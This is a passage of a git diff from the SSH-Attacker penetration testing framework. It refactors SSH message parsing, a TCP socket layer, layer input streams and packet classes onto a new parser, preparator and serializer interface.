+ readContainerFromStream(channelRequestSignalMessage, context, temp_stream);
+ case EXIT_STATUS:
+ LOGGER.info("Parsing Authenticationmethod: Interactive");
+ ChannelRequestExitStatusMessage channelRequestExitStatusMessage =
+ new ChannelRequestExitStatusMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ channelRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(channelRequestExitStatusMessage, context, temp_stream);
+ case EXIT_SIGNAL:
+ LOGGER.info("Parsing Authenticationmethod: Interactive");
+ ChannelRequestExitSignalMessage channelRequestExitSignalMessage =
+ new ChannelRequestExitSignalMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ channelRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(channelRequestExitSignalMessage, context, temp_stream);
+ case AUTH_AGENT_REQ_OPENSSH_COM:
+ LOGGER.info("Parsing Authenticationmethod: Interactive");
+ ChannelRequestAuthAgentMessage channelRequestAuthAgentMessage =
+ new ChannelRequestAuthAgentMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ channelRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(channelRequestAuthAgentMessage, context, temp_stream);
+ default:
+ LOGGER.debug(
+ "Received unimplemented user authentication method in user authentication request: {}",
+ requestType);
+ break;
+ }
+
+ LOGGER.info("Done with Parsing UserAuth");
+ }
+
+ private void readGlobalRequest(AbstractPacket packet) {
+ GlobalRequestUnknownMessage globalRequestUnknownMessage = new GlobalRequestUnknownMessage();
+ LayerInputStream inputStream;
+ LayerInputStream temp_stream;
+
+ inputStream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(packet.getPayload().getValue()));
+
+ GlobalRequestUnknownMessageParser parser =
+ new GlobalRequestUnknownMessageParser(inputStream);
+ parser.parse(globalRequestUnknownMessage);
+ String requestTypeString = globalRequestUnknownMessage.getRequestName().getValue();
+ GlobalRequestType requestType = GlobalRequestType.fromName(requestTypeString);
+ switch (requestType) {
+ case TCPIP_FORWARD:
+ GlobalRequestTcpIpForwardMessage tcpIpForwardMessage =
+ new GlobalRequestTcpIpForwardMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ globalRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(tcpIpForwardMessage, context, temp_stream);
+ case CANCEL_TCPIP_FORWARD:
+ GlobalRequestCancelTcpIpForwardMessage cancelTcpIpForwardMessage =
+ new GlobalRequestCancelTcpIpForwardMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ globalRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(cancelTcpIpForwardMessage, context, temp_stream);
+ case NO_MORE_SESSIONS_OPENSSH_COM:
+ GlobalRequestNoMoreSessionsMessage noMoreSessionsMessage =
+ new GlobalRequestNoMoreSessionsMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ globalRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(noMoreSessionsMessage, context, temp_stream);
+ case HOSTKEYS_00_OPENSSH_COM:
+ GlobalRequestOpenSshHostKeysMessage openSshHostKeysMessage =
+ new GlobalRequestOpenSshHostKeysMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ globalRequestUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(openSshHostKeysMessage, context, temp_stream);
+ default:
+ LOGGER.debug(
+ "Received unimplemented channel open message type: {}", requestTypeString);
+ }
+ }
+
+ private void readASCIIData(AbstractPacket packet) {
+ AsciiMessage message = new AsciiMessage();
+ LayerInputStream temp_stream;
+
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(packet.getPayload().getValue()));
+ readContainerFromStream(message, context, temp_stream);
+ }
+
+ private void readMessageFromStream(ProtocolMessage> message, AbstractPacket> packet) {
+ LayerInputStream temp_stream;
+
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(packet.getPayload().getValue()));
+ readContainerFromStream(message, context, temp_stream);
+ }
+
+ private void readChannelOpen(AbstractPacket packet) {
+ ChannelOpenUnknownMessage channelOpenUnknownMessage = new ChannelOpenUnknownMessage();
+ LayerInputStream inputStream;
+ LayerInputStream temp_stream;
+ inputStream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(packet.getPayload().getValue()));
+
+ ChannelOpenUnknownMessageParser parser = new ChannelOpenUnknownMessageParser(inputStream);
+ parser.parse(channelOpenUnknownMessage);
+ String channelTypeString = channelOpenUnknownMessage.getChannelType().getValue();
+ ChannelType channelType = ChannelType.fromName(channelTypeString);
+ switch (channelType) {
+ case SESSION:
+ ChannelOpenSessionMessage channelOpenSessionMessage =
+ new ChannelOpenSessionMessage();
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(
+ channelOpenUnknownMessage
+ .getCompleteResultingMessage()
+ .getOriginalValue()));
+ readContainerFromStream(channelOpenSessionMessage, context, temp_stream);
+ default:
+ LOGGER.debug(
+ "Received unimplemented channel open message type: {}", channelTypeString);
+ }
+ }
+
+ private void readVersionExchangeProtocolData(AbstractPacket packet) {
+ VersionExchangeMessage message = new VersionExchangeMessage();
+
+ LayerInputStream temp_stream;
+
+ temp_stream =
+ new LayerInputStreamAdapterStream(
+ new ByteArrayInputStream(packet.getPayload().getValue()));
+
+ readContainerFromStream(message, context, temp_stream);
+ }
+
+ /**
+ * Parses the handshake layer header from the given message and parses the encapsulated message
+ * using the correct parser.
+ *
+ * @throws IOException
+ */
+ private void readUnknownProtocolData() {
+ UnknownMessage message = new UnknownMessage();
+ readDataContainer(message, context);
+ getLowerLayer().removeDrainedInputStream();
+ }
+
+ @Override
+ public void receiveMoreData() throws IOException {
+ try {
+ LayerInputStream dataStream = null;
+ dataStream = getLowerLayer().getDataStream();
+ currentInputStream = new LayerLayerInputStream(this);
+ currentInputStream.extendStream(dataStream.readAllBytes());
+
+ } catch (TimeoutException ex) {
+ LOGGER.debug(ex);
+ throw ex;
+ } catch (EndOfStreamException ex) {
+ LOGGER.debug("Reached end of stream, cannot parse more dtls fragments", ex);
+ throw ex;
+ }
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/impl/TcpLayer.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/impl/TcpLayer.java
new file mode 100644
index 000000000..997640494
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/impl/TcpLayer.java
@@ -0,0 +1,99 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.impl;
+
+import de.rub.nds.modifiablevariable.util.ArrayConverter;
+import de.rub.nds.sshattacker.core.constants.CharConstants;
+import de.rub.nds.sshattacker.core.layer.LayerConfiguration;
+import de.rub.nds.sshattacker.core.layer.LayerProcessingResult;
+import de.rub.nds.sshattacker.core.layer.ProtocolLayer;
+import de.rub.nds.sshattacker.core.layer.constant.ImplementedLayers;
+import de.rub.nds.sshattacker.core.layer.context.TcpContext;
+import de.rub.nds.sshattacker.core.layer.data.DataContainer;
+import de.rub.nds.sshattacker.core.layer.stream.LayerInputStream;
+import de.rub.nds.sshattacker.core.layer.stream.LayerInputStreamAdapterStream;
+import de.rub.nds.tlsattacker.transport.tcp.TcpTransportHandler;
+import java.io.ByteArrayInputStream;
+import java.io.IOException;
+
+/**
+ * The TCP layer is a wrapper around an underlying TCP socket. It forwards the sockets InputStream
+ * for reading and sends any data over the TCP socket without modifications.
+ */
+public class TcpLayer extends ProtocolLayer {
+
+ private final TcpContext context;
+
+ public TcpLayer(TcpContext context) {
+ super(ImplementedLayers.TCP);
+ this.context = context;
+ }
+
+ @Override
+ public LayerProcessingResult sendConfiguration() throws IOException {
+ LayerConfiguration configuration = getLayerConfiguration();
+ if (configuration != null && configuration.getContainerList() != null) {
+ for (DataContainer container : configuration.getContainerList()) {
+ // TODO Send container data
+ }
+ }
+ return getLayerResult();
+ }
+
+ /** Sends data over the TCP socket. */
+ @Override
+ public LayerProcessingResult sendData(byte[] data) throws IOException {
+ TcpTransportHandler handler = getTransportHandler();
+ handler.sendData(data);
+ return new LayerProcessingResult(null, getLayerType(), true); // Not implemented
+ }
+
+ @Override
+ public void receiveMoreData() throws IOException {
+ // There is nothing we can do here to fill up our stream, either there is data in it
+ // or not
+ }
+
+ /** Returns the inputStream associated with the TCP socket. */
+ @Override
+ public LayerInputStream getDataStream() throws IOException {
+ getTransportHandler().setTimeout(getTransportHandler().getTimeout());
+
+ if (context.getContext().getSshContext().isReceiveAsciiModeEnabled()) {
+ byte[] receiveBuffer = new byte[0];
+ byte[] readByte;
+ do {
+ readByte = context.getTransportHandler().fetchData(1);
+ receiveBuffer = ArrayConverter.concatenate(receiveBuffer, readByte);
+ } while (readByte.length > 0 && readByte[0] != CharConstants.NEWLINE);
+ currentInputStream =
+ new LayerInputStreamAdapterStream(new ByteArrayInputStream(receiveBuffer));
+ return currentInputStream;
+
+ } else {
+ currentInputStream =
+ new LayerInputStreamAdapterStream(getTransportHandler().getInputStream());
+ return currentInputStream;
+ }
+ }
+
+ @Override
+ public LayerProcessingResult receiveData() {
+ return new LayerProcessingResult(null, getLayerType(), true);
+ }
+
+ private TcpTransportHandler getTransportHandler() {
+ if (context.getTransportHandler() == null) {
+ throw new RuntimeException("TransportHandler is not set in context!");
+ }
+ if (!(context.getTransportHandler() instanceof TcpTransportHandler)) {
+ throw new RuntimeException("Trying to set TCP layer with non TCP TransportHandler");
+ }
+ return (TcpTransportHandler) context.getTransportHandler();
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/stream/LayerInputStream.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/stream/LayerInputStream.java
new file mode 100644
index 000000000..d38303402
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/stream/LayerInputStream.java
@@ -0,0 +1,55 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.stream;
+
+import de.rub.nds.modifiablevariable.util.ArrayConverter;
+import de.rub.nds.sshattacker.core.exceptions.EndOfStreamException;
+import de.rub.nds.sshattacker.core.exceptions.ParserException;
+import java.io.IOException;
+import java.io.InputStream;
+
+/** Inputstream used in layers, Implements additionally the read chunkg and extend feature */
+public abstract class LayerInputStream extends InputStream {
+
+ protected LayerInputStream() {
+ super();
+ }
+
+ public byte readByte() throws IOException {
+ return (byte) read();
+ }
+
+ public int readInt(int size) throws IOException {
+ if (size < 0 || size > 4) {
+ throw new ParserException("Cannot read Integer of size " + size);
+ }
+ byte[] readChunk = readChunk(size);
+ return ArrayConverter.bytesToInt(readChunk);
+ }
+
+ public byte[] readChunk(int size) throws IOException {
+ if (size == 0) {
+ return new byte[0];
+ }
+ byte[] chunk = new byte[size];
+ int read = read(chunk);
+ if (read != size) {
+ throw new EndOfStreamException(
+ "Could not read "
+ + size
+ + " bytes from the stream. Only "
+ + read
+ + " bytes available");
+ }
+ return chunk;
+ }
+
+ protected abstract InputStream getDataSource();
+
+ public abstract void extendStream(byte[] bytes);
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/stream/LayerInputStreamAdapterStream.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/stream/LayerInputStreamAdapterStream.java
new file mode 100644
index 000000000..16e3312fc
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/stream/LayerInputStreamAdapterStream.java
@@ -0,0 +1,46 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.stream;
+
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * HintedInputStream, that wraps around another Stream (used in the {@link
+ * de.rub.nds.sshattacker.core.layer.impl.TcpLayer}
+ */
+public class LayerInputStreamAdapterStream extends LayerInputStream {
+
+ private InputStream stream;
+
+ public LayerInputStreamAdapterStream(InputStream stream) {
+ super();
+ this.stream = stream;
+ }
+
+ @Override
+ protected InputStream getDataSource() {
+ return stream;
+ }
+
+ @Override
+ public int read() throws IOException {
+ return stream.read();
+ }
+
+ @Override
+ public int available() throws IOException {
+ return stream.available();
+ }
+
+ @Override
+ public void extendStream(byte[] bytes) {
+ throw new UnsupportedOperationException(
+ "HintedInputStreamAdapterStream is not extendable.");
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/stream/LayerLayerInputStream.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/stream/LayerLayerInputStream.java
new file mode 100644
index 000000000..75003d3e8
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/layer/stream/LayerLayerInputStream.java
@@ -0,0 +1,69 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2023 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.layer.stream;
+
+import de.rub.nds.sshattacker.core.layer.ProtocolLayer;
+import java.io.ByteArrayInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+
+/**
+ * The HintedLayerInputStream is assigned to a layer. When reading data from it, the stream tries to
+ * receive more data using the layer it is assigned to.
+ */
+public class LayerLayerInputStream extends LayerInputStream {
+
+ private final ProtocolLayer> layer;
+
+ private ByteArrayInputStream stream = new ByteArrayInputStream(new byte[0]);
+
+ public LayerLayerInputStream(ProtocolLayer> layer) {
+ super();
+ this.layer = layer;
+ }
+
+ /**
+ * Return data from the underlaying stream. If none is present, write more data into the stream
+ * using the layer.
+ */
+ @Override
+ public int read() throws IOException {
+ if (stream.available() > 0) {
+ return stream.read();
+ } else {
+ layer.receiveMoreData();
+ // either the stream is now filled, or we ran into a timeout
+ // or the next stream is available
+ return stream.read();
+ }
+ }
+
+ @Override
+ public int available() throws IOException {
+ return stream.available();
+ }
+
+ @Override
+ protected InputStream getDataSource() {
+ return stream;
+ }
+
+ /** Extends the current data in the stream with the given data. */
+ @Override
+ public void extendStream(byte[] bytes) {
+ try {
+ ByteArrayOutputStream outStream = new ByteArrayOutputStream();
+ stream.transferTo(outStream);
+ outStream.write(bytes);
+ stream = new ByteArrayInputStream(outStream.toByteArray());
+ } catch (IOException ex) {
+ throw new RuntimeException("IO Exception from ByteArrayStream");
+ }
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/AbstractPacket.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/AbstractPacket.java
index 3a7c6fe6b..3f143cf24 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/AbstractPacket.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/AbstractPacket.java
@@ -8,18 +8,14 @@
package de.rub.nds.sshattacker.core.packet;
import de.rub.nds.modifiablevariable.ModifiableVariableFactory;
+import de.rub.nds.modifiablevariable.ModifiableVariableHolder;
import de.rub.nds.modifiablevariable.ModifiableVariableProperty;
import de.rub.nds.modifiablevariable.bytearray.ModifiableByteArray;
-import de.rub.nds.sshattacker.core.packet.cipher.PacketCipher;
-import de.rub.nds.sshattacker.core.packet.compressor.PacketCompressor;
-import de.rub.nds.sshattacker.core.packet.crypto.AbstractPacketEncryptor;
-import de.rub.nds.sshattacker.core.packet.parser.AbstractPacketParser;
-import de.rub.nds.sshattacker.core.packet.preparator.AbstractPacketPreparator;
-import de.rub.nds.sshattacker.core.packet.serializer.AbstractPacketSerializer;
-import de.rub.nds.sshattacker.core.protocol.common.ModifiableVariableHolder;
-import de.rub.nds.sshattacker.core.workflow.chooser.Chooser;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
+import de.rub.nds.sshattacker.core.layer.data.DataContainer;
-public abstract class AbstractPacket extends ModifiableVariableHolder {
+public abstract class AbstractPacket>
+ extends ModifiableVariableHolder implements DataContainer {
/**
* This field contains the packet bytes sent over the network. This includes packet_length,
@@ -82,25 +78,18 @@ public void setCompressedPayload(byte[] compressedPayload) {
ModifiableVariableFactory.safelySetValue(this.compressedPayload, compressedPayload);
}
+ public void setPayload(byte[] payload) {
+ this.payload = ModifiableVariableFactory.safelySetValue(this.payload, payload);
+ }
+
public ModifiableByteArray getPayload() {
return payload;
}
public void setPayload(ModifiableByteArray payload) {
+ // this.cleanProtocolMessageBytes = cleanProtocolMessageBytes;
this.payload = payload;
}
- public void setPayload(byte[] payload) {
- this.payload = ModifiableVariableFactory.safelySetValue(this.payload, payload);
- }
-
- public abstract AbstractPacketPreparator extends AbstractPacket> getPacketPreparator(
- Chooser chooser, AbstractPacketEncryptor encryptor, PacketCompressor compressor);
-
- public abstract AbstractPacketParser extends AbstractPacket> getPacketParser(
- byte[] array, int startPosition, PacketCipher activeDecryptCipher, int sequenceNumber);
-
- public abstract AbstractPacketSerializer extends AbstractPacket> getPacketSerializer();
-
public abstract void prepareComputations();
}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/BinaryPacket.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/BinaryPacket.java
index 91cc37fdc..ff71436e6 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/BinaryPacket.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/BinaryPacket.java
@@ -8,22 +8,21 @@
package de.rub.nds.sshattacker.core.packet;
import de.rub.nds.modifiablevariable.ModifiableVariableFactory;
+import de.rub.nds.modifiablevariable.ModifiableVariableHolder;
import de.rub.nds.modifiablevariable.ModifiableVariableProperty;
import de.rub.nds.modifiablevariable.bytearray.ModifiableByteArray;
import de.rub.nds.modifiablevariable.integer.ModifiableInteger;
import de.rub.nds.modifiablevariable.singlebyte.ModifiableByte;
-import de.rub.nds.sshattacker.core.packet.cipher.PacketCipher;
-import de.rub.nds.sshattacker.core.packet.compressor.PacketCompressor;
-import de.rub.nds.sshattacker.core.packet.crypto.AbstractPacketEncryptor;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
+import de.rub.nds.sshattacker.core.layer.data.*;
import de.rub.nds.sshattacker.core.packet.parser.BinaryPacketParser;
import de.rub.nds.sshattacker.core.packet.preparator.BinaryPacketPreparator;
import de.rub.nds.sshattacker.core.packet.serializer.BinaryPacketSerializer;
-import de.rub.nds.sshattacker.core.protocol.common.ModifiableVariableHolder;
-import de.rub.nds.sshattacker.core.workflow.chooser.Chooser;
+import java.io.InputStream;
import java.util.List;
import java.util.Objects;
-public class BinaryPacket extends AbstractPacket {
+public class BinaryPacket extends AbstractPacket {
/**
* The length of the packet in bytes, not including 'mac' or the 'packet_length' field itself.
@@ -115,23 +114,6 @@ public void setSequenceNumber(int sequenceNumber) {
ModifiableVariableFactory.safelySetValue(this.sequenceNumber, sequenceNumber);
}
- @Override
- public BinaryPacketPreparator getPacketPreparator(
- Chooser chooser, AbstractPacketEncryptor encryptor, PacketCompressor compressor) {
- return new BinaryPacketPreparator(chooser, this, encryptor, compressor);
- }
-
- @Override
- public BinaryPacketParser getPacketParser(
- byte[] array, int startPosition, PacketCipher activeDecryptCipher, int sequenceNumber) {
- return new BinaryPacketParser(array, startPosition, activeDecryptCipher, sequenceNumber);
- }
-
- @Override
- public BinaryPacketSerializer getPacketSerializer() {
- return new BinaryPacketSerializer(this);
- }
-
public PacketCryptoComputations getComputations() {
return computations;
}
@@ -175,4 +157,29 @@ public List getAllModifiableVariableHolders() {
}
return holders;
}
+
+ @Override
+ public BinaryPacketParser getParser(SshContext context, InputStream stream) {
+ return new BinaryPacketParser(
+ stream, context.getActiveDecryptCipher(), sequenceNumber.getValue());
+ }
+
+ @Override
+ public BinaryPacketPreparator getPreparator(SshContext context) {
+ return new BinaryPacketPreparator(
+ context.getChooser(),
+ this,
+ context.getPacketLayer().getEncryptor(),
+ context.getCompressor());
+ }
+
+ @Override
+ public BinaryPacketSerializer getSerializer(SshContext context) {
+ return new BinaryPacketSerializer(this);
+ }
+
+ @Override
+ public Handler getHandler(SshContext context) {
+ throw new UnsupportedOperationException("Not supported yet.");
+ }
}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/BinaryPacketSSHv1.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/BinaryPacketSSHv1.java
new file mode 100644
index 000000000..2c55a8fc7
--- /dev/null
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/BinaryPacketSSHv1.java
@@ -0,0 +1,204 @@
+/*
+ * SSH-Attacker - A Modular Penetration Testing Framework for SSH
+ *
+ * Copyright 2014-2022 Ruhr University Bochum, Paderborn University, and Hackmanit GmbH
+ *
+ * Licensed under Apache License 2.0 http://www.apache.org/licenses/LICENSE-2.0
+ */
+package de.rub.nds.sshattacker.core.packet;
+
+import de.rub.nds.modifiablevariable.ModifiableVariableFactory;
+import de.rub.nds.modifiablevariable.ModifiableVariableHolder;
+import de.rub.nds.modifiablevariable.ModifiableVariableProperty;
+import de.rub.nds.modifiablevariable.bytearray.ModifiableByteArray;
+import de.rub.nds.modifiablevariable.integer.ModifiableInteger;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
+import de.rub.nds.sshattacker.core.layer.data.Handler;
+import de.rub.nds.sshattacker.core.packet.parser.BinaryPacketParserSSHv1;
+import de.rub.nds.sshattacker.core.packet.preparator.BinaryPacketPreparatorSSHv1;
+import de.rub.nds.sshattacker.core.packet.serializer.BinaryPacketSerializerSSHv1;
+import java.io.InputStream;
+import java.util.List;
+import java.util.Objects;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+public class BinaryPacketSSHv1 extends AbstractPacket {
+
+ private static final Logger LOGGER = LogManager.getLogger();
+
+ /**
+ * The length of the packet in bytes, not including 'mac' or the 'packet_length' field itself.
+ */
+ @ModifiableVariableProperty(type = ModifiableVariableProperty.Type.LENGTH)
+ private ModifiableInteger length;
+
+ @ModifiableVariableProperty(type = ModifiableVariableProperty.Type.PLAIN_RECORD)
+ private ModifiableByteArray CrcChecksum;
+
+ /** The length of the padding. Must be at least 4 bytes and at most 255 bytes to be valid. */
+ @ModifiableVariableProperty(type = ModifiableVariableProperty.Type.LENGTH)
+ private ModifiableInteger paddingLength;
+
+ /** The padding bytes of the packet. */
+ @ModifiableVariableProperty(type = ModifiableVariableProperty.Type.PADDING)
+ private ModifiableByteArray padding;
+
+ /** The MAC (or authentication tag if AEAD encryption is used) of the packet. */
+ @ModifiableVariableProperty(type = ModifiableVariableProperty.Type.HMAC)
+ private ModifiableByteArray mac;
+
+ /**
+ * The implicit sequence number of this packet which is used in MAC computations as well as
+ * SSH_MSG_UNIMPLEMENTED.
+ */
+ @ModifiableVariableProperty(type = ModifiableVariableProperty.Type.COUNT)
+ private ModifiableInteger sequenceNumber;
+
+ /** A holder instance for all temporary fields used during crypto computations. */
+ private PacketCryptoComputations computations;
+
+ public ModifiableInteger getLength() {
+ return length;
+ }
+
+ public void setLength(ModifiableInteger length) {
+ this.length = length;
+ }
+
+ public void setLength(int length) {
+ this.length = ModifiableVariableFactory.safelySetValue(this.length, length);
+ }
+
+ public ModifiableInteger getPaddingLength() {
+ return paddingLength;
+ }
+
+ public void setPaddingLength(ModifiableInteger paddingLength) {
+ this.paddingLength = paddingLength;
+ }
+
+ public void setPaddingLength(int paddingLength) {
+ this.paddingLength =
+ ModifiableVariableFactory.safelySetValue(this.paddingLength, paddingLength);
+ }
+
+ public ModifiableByteArray getPadding() {
+ return padding;
+ }
+
+ public void setPadding(ModifiableByteArray padding) {
+ this.padding = padding;
+ }
+
+ public void setPadding(byte[] padding) {
+ this.padding = ModifiableVariableFactory.safelySetValue(this.padding, padding);
+ }
+
+ public ModifiableByteArray getMac() {
+ return mac;
+ }
+
+ public void setMac(ModifiableByteArray mac) {
+ this.mac = mac;
+ }
+
+ public void setMac(byte[] mac) {
+ this.mac = ModifiableVariableFactory.safelySetValue(this.mac, mac);
+ }
+
+ public ModifiableInteger getSequenceNumber() {
+ return sequenceNumber;
+ }
+
+ public void setSequenceNumber(ModifiableInteger sequenceNumber) {
+ this.sequenceNumber = sequenceNumber;
+ }
+
+ public void setSequenceNumber(int sequenceNumber) {
+ this.sequenceNumber =
+ ModifiableVariableFactory.safelySetValue(this.sequenceNumber, sequenceNumber);
+ }
+
+ public PacketCryptoComputations getComputations() {
+ return computations;
+ }
+
+ public void setComputations(PacketCryptoComputations computations) {
+ this.computations = computations;
+ }
+
+ public ModifiableByteArray getCrcChecksum() {
+ return CrcChecksum;
+ }
+
+ public void setCrcChecksum(ModifiableByteArray crcChecksum) {
+ CrcChecksum = crcChecksum;
+ }
+
+ public void setCrcChecksum(byte[] crcChecksum) {
+ CrcChecksum = ModifiableVariableFactory.safelySetValue(CrcChecksum, crcChecksum);
+ }
+
+ @Override
+ public void prepareComputations() {
+ LOGGER.debug("[bro] Preparing Computation");
+ if (computations == null) {
+ computations = new PacketCryptoComputations();
+ }
+ }
+
+ @Override
+ public String toString() {
+ return "BinaryPacket{length=" + length + "}";
+ }
+
+ @Override
+ public boolean equals(Object obj) {
+ if (this == obj) return true;
+ if (obj == null || getClass() != obj.getClass()) return false;
+ BinaryPacketSSHv1 that = (BinaryPacketSSHv1) obj;
+ return Objects.equals(length, that.length)
+ && Objects.equals(sequenceNumber, that.sequenceNumber)
+ && Objects.equals(computations, that.computations);
+ }
+
+ @Override
+ public int hashCode() {
+ return Objects.hash(length, sequenceNumber, computations);
+ }
+
+ @Override
+ public List getAllModifiableVariableHolders() {
+ List holders = super.getAllModifiableVariableHolders();
+ if (computations != null) {
+ holders.add(computations);
+ }
+ return holders;
+ }
+
+ @Override
+ public BinaryPacketParserSSHv1 getParser(SshContext context, InputStream stream) {
+ return new BinaryPacketParserSSHv1(
+ stream, context.getActiveDecryptCipher(), sequenceNumber.getValue());
+ }
+
+ @Override
+ public BinaryPacketPreparatorSSHv1 getPreparator(SshContext context) {
+ return new BinaryPacketPreparatorSSHv1(
+ context.getChooser(),
+ this,
+ context.getPacketLayer().getEncryptor(),
+ context.getCompressor());
+ }
+
+ @Override
+ public BinaryPacketSerializerSSHv1 getSerializer(SshContext context) {
+ return new BinaryPacketSerializerSSHv1(this);
+ }
+
+ @Override
+ public Handler getHandler(SshContext context) {
+ throw new UnsupportedOperationException("Not supported yet.");
+ }
+}
diff --git a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/BlobPacket.java b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/BlobPacket.java
index ef9f5fba9..d0b151776 100644
--- a/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/BlobPacket.java
+++ b/SSH-Core/src/main/java/de/rub/nds/sshattacker/core/packet/BlobPacket.java
@@ -7,32 +7,36 @@
*/
package de.rub.nds.sshattacker.core.packet;
-import de.rub.nds.sshattacker.core.packet.cipher.PacketCipher;
-import de.rub.nds.sshattacker.core.packet.compressor.PacketCompressor;
-import de.rub.nds.sshattacker.core.packet.crypto.AbstractPacketEncryptor;
+import de.rub.nds.sshattacker.core.layer.context.SshContext;
+import de.rub.nds.sshattacker.core.layer.data.Handler;
import de.rub.nds.sshattacker.core.packet.parser.BlobPacketParser;
import de.rub.nds.sshattacker.core.packet.preparator.BlobPacketPreparator;
import de.rub.nds.sshattacker.core.packet.serializer.BlobPacketSerializer;
-import de.rub.nds.sshattacker.core.workflow.chooser.Chooser;
+import java.io.InputStream;
+
+public class BlobPacket extends AbstractPacket {
+
+ @Override
+ public void prepareComputations() {}
-public class BlobPacket extends AbstractPacket {
@Override
- public BlobPacketPreparator getPacketPreparator(
- Chooser chooser, AbstractPacketEncryptor encryptor, PacketCompressor compressor) {
- return new BlobPacketPreparator(chooser, this, encryptor, compressor);
+ public BlobPacketParser getParser(SshContext context, InputStream stream) {
+ return new BlobPacketParser(stream);
}
@Override
- public BlobPacketParser getPacketParser(
- byte[] array, int startPosition, PacketCipher activeDecryptCipher, int sequenceNumber) {
- return new BlobPacketParser(array, startPosition);
+ public BlobPacketPreparator getPreparator(SshContext context) {
+ return new BlobPacketPreparator(
+ context.getChooser(), this, context.getEncryptor(), context.getCompressor());
}
@Override
- public BlobPacketSerializer getPacketSerializer() {
+ public BlobPacketSerializer getSerializer(SshContext context) {
return new BlobPacketSerializer(this);
}
@Override
- public void prepareComputations() {}
+ public Handler getHandler(SshContext context) {
+ throw new UnsupportedOperationException("Not supported yet.");
+ }
}
